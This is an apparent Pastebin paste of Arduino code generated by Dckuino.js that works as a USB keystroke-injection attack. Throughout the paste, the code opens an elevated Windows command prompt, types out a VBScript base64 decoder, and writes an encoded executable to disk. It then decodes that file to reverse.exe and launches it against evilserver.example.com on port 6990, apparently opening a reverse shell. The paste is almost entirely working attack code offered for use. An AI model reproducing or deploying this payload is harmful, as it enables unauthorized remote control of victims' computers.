Advertisement
Guest User

error to build

a guest
Feb 20th, 2017
88
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.36 KB | None | 0 0
  1. /*
  2. * Generated with <3 by Dckuino.js, an open source project !
  3. */
  4.  
  5. #include "Keyboard.h"
  6.  
  7. void typeKey(int key)
  8. {
  9. Keyboard.press(key);
  10. delay(50);
  11. Keyboard.release(key);
  12. }
  13.  
  14. /* Init function */
  15. void setup()
  16. {
  17. // Begining the Keyboard stream
  18. Keyboard.begin();
  19.  
  20. // Wait 500ms
  21. delay(500);
  22.  
  23. typeKey(KEY_LEFT_ESC);
  24.  
  25. Keyboard.press(KEY_LEFT_CTRL);
  26. Keyboard.press(KEY_LEFT_ESC);
  27. Keyboard.releaseAll();
  28.  
  29. delay(400);
  30.  
  31. Keyboard.print("cmd");
  32.  
  33. delay(400);
  34.  
  35. typeKey(229);
  36.  
  37. delay(400);
  38.  
  39. Keyboard.print("a");
  40.  
  41. delay(600);
  42.  
  43. typeKey(KEY_LEFT_ARROW);
  44.  
  45. typeKey(KEY_RETURN);
  46.  
  47. delay(400);
  48.  
  49. Keyboard.print("copy con c:\\decoder.vbs");
  50.  
  51. typeKey(KEY_RETURN);
  52.  
  53. Keyboard.print("Option Explicit:Dim arguments, inFile, outFile:Set arguments = WScript.Arguments:inFile = arguments(0)");
  54.  
  55. Keyboard.print(":outFile = arguments(1):Dim base64Encoded, base64Decoded, outByteArray:dim objFS:dim objTS:set objFS =");
  56.  
  57. Keyboard.print("CreateObject(\"Scripting.FileSystemObject\"):");
  58.  
  59. typeKey(KEY_RETURN);
  60.  
  61. Keyboard.print("set objTS = objFS.OpenTextFile(inFile, 1):base64Encoded =");
  62.  
  63. Keyboard.print("objTS.ReadAll:base64Decoded = decodeBase64(base64Encoded):writeBytes outFile, base64Decoded:private function");
  64.  
  65. Keyboard.print("decodeBase64(base64):");
  66.  
  67. typeKey(KEY_RETURN);
  68.  
  69. Keyboard.print("dim DM, EL:Set DM = CreateObject(\"Microsoft.XMLDOM\"):Set EL = DM.createElement(\"tmp\"):");
  70.  
  71. Keyboard.print("EL.DataType = \"bin.base64\":EL.Text = base64:decodeBase64 = EL.NodeTypedValue:end function:private Sub");
  72.  
  73. Keyboard.print("writeBytes(file, bytes):Dim binaryStream:");
  74.  
  75. typeKey(KEY_RETURN);
  76.  
  77. Keyboard.print("Set binaryStream = CreateObject(\"ADODB.Stream\"):binaryStream.Type = 1:");
  78.  
  79. Keyboard.print("binaryStream.Open:binaryStream.Write bytes:binaryStream.SaveToFile file, 2:End Sub");
  80.  
  81. typeKey(KEY_RETURN);
  82.  
  83. Keyboard.press(KEY_LEFT_CTRL);
  84. Keyboard.press('z');
  85. Keyboard.releaseAll();
  86.  
  87. typeKey(KEY_RETURN);
  88.  
  89. Keyboard.print("copy con c:\\reverse.txt");
  90.  
  91. typeKey(KEY_RETURN);
  92.  
  93. Keyboard.print("TVprZXJuZWwzMi5kbGwAAFBFAABMAQIAAAAAAAAAAAAAAAAA4AAPAQsBAAAAAgAAAAAAAAAA");
  94.  
  95. typeKey(KEY_RETURN);
  96.  
  97. Keyboard.print("AADfQgAAEAAAAAAQAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAFAAAAACAAAAAAAA");
  98.  
  99. typeKey(KEY_RETURN);
  100.  
  101. Keyboard.print("AgAAAAAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAA20IAABQAAAAAAAAAAAAAAAAA");
  102.  
  103. typeKey(KEY_RETURN);
  104.  
  105. Keyboard.print("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
  106.  
  107. typeKey(KEY_RETURN);
  108.  
  109. Keyboard.print("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAATUVXAEYS");
  110.  
  111. typeKey(KEY_RETURN);
  112.  
  113. Keyboard.print("0sMAMAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4AAAwALSdduKFuvUABAAAABAAADvAgAA");
  114.  
  115. typeKey(KEY_RETURN);
  116.  
  117. Keyboard.print("AAIAAAAAAAAAAAAAAAAAAOAAAMC+HEBAAIvera1QrZeygKS2gP8Tc/kzyf8TcxYzwP8TcyG2");
  118.  
  119. typeKey(KEY_RETURN);
  120.  
  121. Keyboard.print("gEGwEP8TEsBz+nU+quvg6HI+AAAC9oPZAXUO/1P86yas0eh0LxPJ6xqRSMHgCKz/U/w9AH0A");
  122.  
  123. typeKey(KEY_RETURN);
  124.  
  125. Keyboard.print("AHMKgPwFcwaD+H93AkFBlYvFtgBWi/cr8POkXuubrYXAdZCtlq2XVqw8AHX7/1PwlVatD8hA");
  126.  
  127. typeKey(KEY_RETURN);
  128.  
  129. Keyboard.print("WXTseQesPAB1+5FAUFX/U/SrdefDAAAAAAAzyUH/ExPJ/xNy+MOwQgAAvUIAAAAAAAAAQEAA");
  130.  
  131. typeKey(KEY_RETURN);
  132.  
  133. Keyboard.print("MAFAAAAQQAAAEEAAaBwGMkAHagHoDnw4VQzoQgLIFTiean446lMMelAsFnRBMP0Bv1WysTNq");
  134.  
  135. typeKey(KEY_RETURN);
  136.  
  137. Keyboard.print("kQIGsnxVmiejeINmxwVke0+mOGe8XVBmlD05ZqNofmRmfiF9i3MM2QpqaJQtoTp6b0gV6kwF");
  138.  
  139. typeKey(KEY_RETURN);
  140.  
  141. Keyboard.print("EVBkkBBNRFWRFDxAeGooEGhdKP81MHTopJ5RVFWhVY2/bg4KCJAiC+FRFOgfgUvD/yUkILtv");
  142.  
  143. typeKey(KEY_RETURN);
  144.  
  145. Keyboard.print("KhwGQxghFL3DIghxzAFVi+yBxHz+/4hWV+hgrN2JRfwzHcmLdX44PB10Bx4iQPdB6/RR0XLp");
  146.  
  147. typeKey(KEY_RETURN);
  148.  
  149. Keyboard.print("AOFYO8F0C19eMLgDucnCCOGGSY29PHDlQyoJzy/gArAgqutz8iiNhRU5i/A2+DMqM+sbiwNm");
  150.  
  151. typeKey(KEY_RETURN);
  152.  
  153. Keyboard.print("MgfvImUgTf4iEeEoLe2UCIO53LcwS3T7OzpNCKgVWWUdZwpME0EdDxTr5qoNNgcZhzj0sH/A");
  154.  
  155. typeKey(KEY_RETURN);
  156.  
  157. Keyboard.print("VXMRi30Mxhe4An+CohOdaLCgWDQzDUYN5tH34f5Yo+7nRLsfFqnOEQTeVQE81BTUDhszwE7s");
  158.  
  159. typeKey(KEY_RETURN);
  160.  
  161. Keyboard.print("hwtw0ooGRj08ArMSDvffkOsLLDAZjQyJBkiDLQrAdfHoBBEzUcI44jCDxAf0avXoaQkZSf+9");
  162.  
  163. typeKey(KEY_RETURN);
  164.  
  165. Keyboard.print("gqogC9Aqk3U3+FAinSmGBvzoTS9oiyQ45lMaDwiNUAMhGIPABOP5//6AAvfTI8uB4USAdHzp");
  166.  
  167. typeKey(KEY_RETURN);
  168.  
  169. Keyboard.print("bMEMYHV3BvQQwEAC0OEbwlFbOkfESRnKDFcGCDAAADBAAGMwbWQAZj9AABQ4IEADd3MyXzOY");
  170.  
  171. typeKey(KEY_RETURN);
  172.  
  173. Keyboard.print("LmRs48CAZwdldGhvc0BieW5he23PHmOePPfr/w4SV1NBXc9hckZ1cBh5aMoscxNPJmNrYu/B");
  174.  
  175. typeKey(KEY_RETURN);
  176.  
  177. Keyboard.print("/7gDbJUacspebEzHV9NpdPNGp7yRR8NMQ29tiGFuZDZMaURifoB2cvudOlC3gudzFUFYIcBk");
  178.  
  179. typeKey(KEY_RETURN);
  180.  
  181. Keyboard.print("SNBDL2AAAAAAAGY/QABMb2FkTGlicmFyeUEAR2V0UHJvY0FkZHJlc3MAAAAAAAAAAAAAAAAA");
  182.  
  183. typeKey(KEY_RETURN);
  184.  
  185. Keyboard.print("AAxAAADpdL7//wAAAAIAAAAMQAAA");
  186.  
  187. typeKey(KEY_RETURN);
  188.  
  189. Keyboard.press(KEY_LEFT_CTRL);
  190. Keyboard.press('z');
  191. Keyboard.releaseAll();
  192.  
  193. typeKey(KEY_RETURN);
  194.  
  195. Keyboard.print("cscript c:\\decoder.vbs c:\\reverse.txt c:\\reverse.exe");
  196.  
  197. typeKey(KEY_RETURN);
  198.  
  199. Keyboard.print("c:\\reverse.exe evilserver.example.com 6990");
  200.  
  201. typeKey(KEY_RETURN);
  202.  
  203. Keyboard.print("exit");
  204.  
  205. typeKey(KEY_RETURN);
  206.  
  207. // Ending stream
  208. Keyboard.end();
  209. }
  210.  
  211. /* Unused endless loop */
  212. void loop() {}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement